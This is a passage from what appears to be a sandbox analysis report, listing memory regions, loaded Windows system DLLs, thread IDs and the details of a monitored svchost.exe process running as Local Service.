	              id = 2789
	        start_va = 0x7fef4d40000
	          end_va = 0x7fef4d5bfff
	     entry_point = 0x7fef4d40000
	     region_type = mapped_file
	            name = "rasman.dll"
	        filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll")

Region:
	              id = 2790
	        start_va = 0x7fef4d60000
	          end_va = 0x7fef4dc1fff
	     entry_point = 0x7fef4d60000
	     region_type = mapped_file
	            name = "rasapi32.dll"
	        filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll")

Region:
	              id = 2791
	        start_va = 0x7fef6570000
	          end_va = 0x7fef6580fff
	     entry_point = 0x7fef6570000
	     region_type = mapped_file
	            name = "rtutils.dll"
	        filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")

Region:
	              id = 2792
	        start_va = 0x7fef93b0000
	          end_va = 0x7fef93b8fff
	     entry_point = 0x7fef93b0000
	     region_type = mapped_file
	            name = "sensapi.dll"
	        filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll")

Region:
	              id = 2793
	        start_va = 0x7fef96b0000
	          end_va = 0x7fef9702fff
	     entry_point = 0x7fef96b0000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")

Region:
	              id = 2794
	        start_va = 0x7fefbc10000
	          end_va = 0x7fefbc17fff
	     entry_point = 0x7fefbc10000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")

Region:
	              id = 2795
	        start_va = 0x7fefce20000
	          end_va = 0x7fefce26fff
	     entry_point = 0x7fefce20000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")

Region:
	              id = 2796
	        start_va = 0x7fefcf10000
	          end_va = 0x7fefcf2afff
	     entry_point = 0x7fefcf10000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 2797
	        start_va = 0x7fefd0c0000
	          end_va = 0x7fefd10bfff
	     entry_point = 0x7fefd0c0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 2798
	        start_va = 0x7fefd210000
	          end_va = 0x7fefd266fff
	     entry_point = 0x7fefd210000
	     region_type = mapped_file
	            name = "schannel.dll"
	        filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll")

Region:
	              id = 2799
	        start_va = 0x7fefd410000
	          end_va = 0x7fefd416fff
	     entry_point = 0x7fefd410000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")

Region:
	              id = 2800
	        start_va = 0x7fefd420000
	          end_va = 0x7fefd474fff
	     entry_point = 0x7fefd420000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 2801
	        start_va = 0x7fefd5f0000
	          end_va = 0x7fefd611fff
	     entry_point = 0x7fefd5f0000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 2802
	        start_va = 0x7fefd620000
	          end_va = 0x7fefd66dfff
	     entry_point = 0x7fefd620000
	     region_type = mapped_file
	            name = "ncrypt.dll"
	        filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll")

Region:
	              id = 2803
	        start_va = 0x7fefdce0000
	          end_va = 0x7fefdd15fff
	     entry_point = 0x7fefdce0000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 2804
	        start_va = 0x7fffff9c000
	          end_va = 0x7fffff9dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9c000"
	        filename = ""

Region:
	              id = 2805
	        start_va = 0x7fffff9e000
	          end_va = 0x7fffff9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9e000"
	        filename = ""

Region:
	              id = 2806
	        start_va = 0x7fffffa0000
	          end_va = 0x7fffffa1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa0000"
	        filename = ""

Region:
	              id = 2807
	        start_va = 0x7fffffa2000
	          end_va = 0x7fffffa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa2000"
	        filename = ""

Region:
	              id = 2808
	        start_va = 0x7fffffa4000
	          end_va = 0x7fffffa5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa4000"
	        filename = ""

Region:
	              id = 2809
	        start_va = 0x3a60000
	          end_va = 0x3b5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003a60000"
	        filename = ""

Region:
	              id = 2810
	        start_va = 0x7fefc040000
	          end_va = 0x7fefc074fff
	     entry_point = 0x7fefc040000
	     region_type = mapped_file
	            name = "xmllite.dll"
	        filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")

Region:
	              id = 2811
	        start_va = 0x7fefcb80000
	          end_va = 0x7fefcbabfff
	     entry_point = 0x7fefcb80000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 2812
	        start_va = 0x7fefddd0000
	          end_va = 0x7fefdde9fff
	     entry_point = 0x7fefddd0000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 2813
	        start_va = 0x7feff2f0000
	          end_va = 0x7feff4c6fff
	     entry_point = 0x7feff2f0000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")


Thread:
	id = 168
	os_tid = 0xb34


Thread:
	id = 169
	os_tid = 0xb50


Thread:
	id = 170
	os_tid = 0xb1c


Thread:
	id = 173
	os_tid = 0x638


Thread:
	id = 175
	os_tid = 0x22c


Thread:
	id = 177
	os_tid = 0x554


Thread:
	id = 178
	os_tid = 0x7a0


Thread:
	id = 181
	os_tid = 0x1c8


Thread:
	id = 182
	os_tid = 0x4d8


Thread:
	id = 199
	os_tid = 0x7f0


Thread:
	id = 200
	os_tid = 0x580


Thread:
	id = 204
	os_tid = 0xa58


Thread:
	id = 206
	os_tid = 0x4e0


Thread:
	id = 210
	os_tid = 0xa54


Thread:
	id = 253
	os_tid = 0xaf8


Thread:
	id = 254
	os_tid = 0xafc


Process:
	id = "23"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x7c6f000"
	os_pid = "0x11c"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "rpc_server"
	parent_id = "22"
	os_parent_pid = "0xb54"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Local Service"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e1c3" [0xc000000f], "LOCAL" [0x7]

Region:
	              id = 2401
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 2402
	        start_va = 0x20000
	          end_va = 0x26fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 2403
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 2404
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 2405
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2406
	        start_va = 0xc0000
	          end_va = 0xc1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000c0000"
	        filename = ""

Region:
	              id = 2407
	        start_va = 0xd0000
	          end_va = 0xd0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 2408
	        start_va = 0xe0000
	          end_va = 0xe0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000e0000"
	        filename = ""

Region:
	              id = 2409
	        start_va = 0xf0000
	          end_va = 0x16ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000f0000"
	        filename = ""

Region:
	              id = 2410
	        start_va = 0x170000
	          end_va = 0x26ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 2411
	        start_va = 0x270000
	          end_va = 0x270fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000270000"
	        filename = ""

Region:
	              id = 2412
	        start_va = 0x280000
	          end_va = 0x290fff
	     entry_point = 0x280000
	     region_type = mapped_file
	            name = "es.dll"
	        filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll")

Region:
	              id = 2413
	        start_va = 0x2a0000
	          end_va = 0x2a3fff
	     entry_point = 0x2a0000
	     region_type = mapped_file
	            name = "stdole2.tlb"
	        filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb")

Region:
	              id = 2414
	        start_va = 0x2b0000
	          end_va = 0x2b1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000002b0000"
	        filename = ""

Region:
	              id = 2415
	        start_va = 0x2c0000
	          end_va = 0x2c0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002c0000"
	        filename = ""

Region:
	              id = 2416
	        start_va = 0x2d0000
	          end_va = 0x3cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002d0000"
	        filename = ""

Region:
	              id = 2417
	        start_va = 0x3d0000
	          end_va = 0x48ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000003d0000"
	        filename = ""

Region:
	              id = 2418
	        start_va = 0x490000
	          end_va = 0x50ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000490000"
	        filename = ""

Region:
	              id = 2419
	        start_va = 0x510000
	          end_va = 0x510fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000510000"
	        filename = ""

Region:
	              id = 2420
	        start_va = 0x550000
	          end_va = 0x55ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000550000"
	        filename = ""

Region:
	              id = 2421
	        start_va = 0x560000
	          end_va = 0x6e7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000560000"
	        filename = ""

Region:
	              id = 2422
	        start_va = 0x6f0000
	          end_va = 0x870fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000006f0000"
	        filename = ""

Region:
	              id = 2423
	        start_va = 0x880000
	          end_va = 0xc72fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000880000"
	        filename = ""

Region:
	              id = 2424
	        start_va = 0xc90000
	          end_va = 0xd0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000c90000"
	        filename = ""

Region:
	              id = 2425
	        start_va = 0xd20000
	          end_va = 0xd9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000d20000"
	        filename = ""

Region:
	              id = 2426
	        start_va = 0xda0000
	          end_va = 0xe1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000da0000"
	        filename = ""

Region:
	              id = 2427
	        start_va = 0xe60000
	          end_va = 0xedffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e60000"
	        filename = ""

Region:
	              id = 2428
	        start_va = 0xf10000
	          end_va = 0xf8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000f10000"
	        filename = ""

Region:
	              id = 2429
	        start_va = 0xf90000
	          end_va = 0x100ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000f90000"
	        filename = ""

Region:
	              id = 2430
	        start_va = 0x1030000
	          end_va = 0x10affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001030000"
	        filename = ""

Region:
	              id = 2431
	        start_va = 0x10c0000
	          end_va = 0x138efff
	     entry_point = 0x10c0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2432
	        start_va = 0x13c0000
	          end_va = 0x143ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000013c0000"
	        filename = ""

Region:
	              id = 2433
	        start_va = 0x1440000
	          end_va = 0x153ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001440000"
	        filename = ""

Region:
	              id = 2434
	        start_va = 0x1650000
	          end_va = 0x174ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001650000"
	        filename = ""

Region:
	              id = 2435
	        start_va = 0x17a0000
	          end_va = 0x181ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000017a0000"
	        filename = ""

Region:
	              id = 2436
	        start_va = 0x18a0000
	          end_va = 0x195ffff
	     entry_point = 0x18a0000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")

Region:
	              id = 2437
	        start_va = 0x1990000
	          end_va = 0x199ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001990000"
	        filename = ""

Region:
	              id = 2438
	        start_va = 0x1a30000
	          end_va = 0x1a3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001a30000"
	        filename = ""

Region:
	              id = 2439
	        start_va = 0x1a70000
	          end_va = 0x1aeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001a70000"
	        filename = ""

Region:
	              id = 2440
	        start_va = 0x1b20000
	          end_va = 0x1b9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001b20000"
	        filename = ""

Region:
	              id = 2441
	        start_va = 0x1d70000
	          end_va = 0x1deffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001d70000"
	        filename = ""

Region:
	              id = 2442
	        start_va = 0x1df0000
	          end_va = 0x1eeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001df0000"
	        filename = ""

Region:
	              id = 2443
	        start_va = 0x1fd0000
	          end_va = 0x204ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001fd0000"
	        filename = ""

Region:
	              id = 2444
	        start_va = 0x2070000
	          end_va = 0x207ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002070000"
	        filename = ""

Region:
	              id = 2445
	        start_va = 0x2200000
	          end_va = 0x227ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002200000"
	        filename = ""

Region:
	              id = 2446
	        start_va = 0x2280000
	          end_va = 0x247ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002280000"
	        filename = ""

Region:
	              id = 2447
	        start_va = 0x745d0000
	          end_va = 0x745d2fff
	     entry_point = 0x745d0000
	     region_type = mapped_file
	            name = "sfc.dll"
	        filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll")

Region:
	              id = 2448
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2449
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2450
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 2451
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2452
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 2453
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2454
	        start_va = 0xffc20000
	          end_va = 0xffc2afff
	     entry_point = 0xffc20000
	     region_type = mapped_file
	            name = "svchost.exe"
	        filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")

Region:
	              id = 2455
	        start_va = 0x7fef58b0000
	          end_va = 0x7fef5987fff
	     entry_point = 0x7fef58b0000
	     region_type = mapped_file
	            name = "perftrack.dll"
	        filename = "\\Windows\\System32\\perftrack.dll" (normalized: "c:\\windows\\system32\\perftrack.dll")

Region:
	              id = 2456
	        start_va = 0x7fef59c0000
	          end_va = 0x7fef59cbfff
	     entry_point = 0x7fef59c0000
	     region_type = mapped_file
	            name = "npmproxy.dll"
	        filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")

Region:
	              id = 2457
	        start_va = 0x7fef5ff0000
	          end_va = 0x7fef6063fff
	     entry_point = 0x7fef5ff0000
	     region_type = mapped_file
	            name = "netprofm.dll"
	        filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll")

Region:
	              id = 2458
	        start_va = 0x7fef6e00000
	          end_va = 0x7fef6e18fff
	     entry_point = 0x7fef6e00000
	     region_type = mapped_file
	            name = "wdi.dll"
	        filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll")

Region:
	              id = 2459
	        start_va = 0x7fef6fc0000
	          end_va = 0x7fef6fcffff
	     entry_point = 0x7fef6fc0000
	     region_type = mapped_file
	            name = "sfc_os.dll"
	        filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll")

Region:
	              id = 2460
	        start_va = 0x7fef6fd0000
	          end_va = 0x7fef6fe1fff
	     entry_point = 0x7fef6fd0000
	     region_type = mapped_file
	            name = "aepic.dll"
	        filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll")

Region:
	              id = 2461
	        start_va = 0x7fef7190000
	          end_va = 0x7fef71f3fff
	     entry_point = 0x7fef7190000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")

Region:
	              id = 2462
	        start_va = 0x7fef7200000
	          end_va = 0x7fef7270fff
	     entry_point = 0x7fef7200000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 2463
	        start_va = 0x7fef8a90000
	          end_va = 0x7fef8aa8fff
	     entry_point = 0x7fef8a90000
	     region_type = mapped_file
	            name = "pnrpnsp.dll"
	        filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll")

Region:
	              id = 2464
	        start_va = 0x7fef8ab0000
	          end_va = 0x7fef8ac4fff
	     entry_point = 0x7fef8ab0000
	     region_type = mapped_file
	            name = "napinsp.dll"
	        filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll")

Region:
	              id = 2465
	        start_va = 0x7fef8b10000
	          end_va = 0x7fef8b8bfff
	     entry_point = 0x7fef8b10000
	     region_type = mapped_file
	            name = "wer.dll"
	        filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll")

Region:
	              id = 2466
	        start_va = 0x7fef9660000
	          end_va = 0x7fef9677fff
	     entry_point = 0x7fef9660000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 2467
	        start_va = 0x7fef9680000
	          end_va = 0x7fef9690fff
	     entry_point = 0x7fef9680000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 2468
	        start_va = 0x7fef96b0000
	          end_va = 0x7fef9702fff
	     entry_point = 0x7fef96b0000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")

Region:
	              id = 2469
	        start_va = 0x7fef97e0000
	          end_va = 0x7fef97e9fff
	     entry_point = 0x7fef97e0000
	     region_type = mapped_file
	            name = "nsisvc.dll"
	        filename = "\\Windows\\System32\\nsisvc.dll" (normalized: "c:\\windows\\system32\\nsisvc.dll")

Region:
	              id = 2470
	        start_va = 0x7fefb590000
	          end_va = 0x7fefb59afff
	     entry_point = 0x7fefb590000
	     region_type = mapped_file
	            name = "winrnr.dll"
	        filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll")

Region:
	              id = 2471
	        start_va = 0x7fefb670000
	          end_va = 0x7fefb67afff
	     entry_point = 0x7fefb670000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 2472
	        start_va = 0x7fefb680000
	          end_va = 0x7fefb6a6fff
	     entry_point = 0x7fefb680000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 2473
	        start_va = 0x7fefb6b0000
	          end_va = 0x7fefb716fff
	     entry_point = 0x7fefb6b0000
	     region_type = mapped_file
	            name = "es.dll"
	        filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll")

Region:
	              id = 2474
	        start_va = 0x7fefb740000
	          end_va = 0x7fefb74bfff
	     entry_point = 0x7fefb740000
	     region_type = mapped_file
	            name = "dsrole.dll"
	        filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll")

Region:
	              id = 2475
	        start_va = 0x7fefb800000
	          end_va = 0x7fefb814fff
	     entry_point = 0x7fefb800000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")

Region:
	              id = 2476
	        start_va = 0x7fefbc10000
	          end_va = 0x7fefbc17fff
	     entry_point = 0x7fefbc10000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")

Region:
	              id = 2477
	        start_va = 0x7fefc080000
	          end_va = 0x7fefc097fff
	     entry_point = 0x7fefc080000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")

Region:
	              id = 2478
	        start_va = 0x7fefcd50000
	          end_va = 0x7fefcd5bfff
	     entry_point = 0x7fefcd50000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 2479
	        start_va = 0x7fefce20000
	          end_va = 0x7fefce26fff
	     entry_point = 0x7fefce20000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")

Region:
	              id = 2480
	        start_va = 0x7fefcf10000
	          end_va = 0x7fefcf2afff
	     entry_point = 0x7fefcf10000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 2481
	        start_va = 0x7fefcf30000
	          end_va = 0x7fefcf4dfff
	     entry_point = 0x7fefcf30000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 2482
	        start_va = 0x7fefd080000
	          end_va = 0x7fefd089fff
	     entry_point = 0x7fefd080000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 2483
	        start_va = 0x7fefd180000
	          end_va = 0x7fefd1c6fff
	     entry_point = 0x7fefd180000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2484
	        start_va = 0x7fefd2a0000
	          end_va = 0x7fefd2fafff
	     entry_point = 0x7fefd2a0000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 2485
	        start_va = 0x7fefd410000
	          end_va = 0x7fefd416fff
	     entry_point = 0x7fefd410000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")

Region:
	              id = 2486
	        start_va = 0x7fefd420000
	          end_va = 0x7fefd474fff
	     entry_point = 0x7fefd420000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 2487
	        start_va = 0x7fefd480000
	          end_va = 0x7fefd496fff
	     entry_point = 0x7fefd480000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2488
	        start_va = 0x7fefda20000
	          end_va = 0x7fefda2afff
	     entry_point = 0x7fefda20000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 2489
	        start_va = 0x7fefda50000
	          end_va = 0x7fefda74fff
	     entry_point = 0x7fefda50000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 2490
	        start_va = 0x7fefda80000
	          end_va = 0x7fefda8efff
	     entry_point = 0x7fefda80000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2491
	        start_va = 0x7fefda90000
	          end_va = 0x7fefdb20fff
	     entry_point = 0x7fefda90000
	     region_type = mapped_file
	            name = "sxs.dll"
	        filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll")

Region:
	              id = 2492
	        start_va = 0x7fefdb70000
	          end_va = 0x7fefdb83fff
	     entry_point = 0x7fefdb70000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
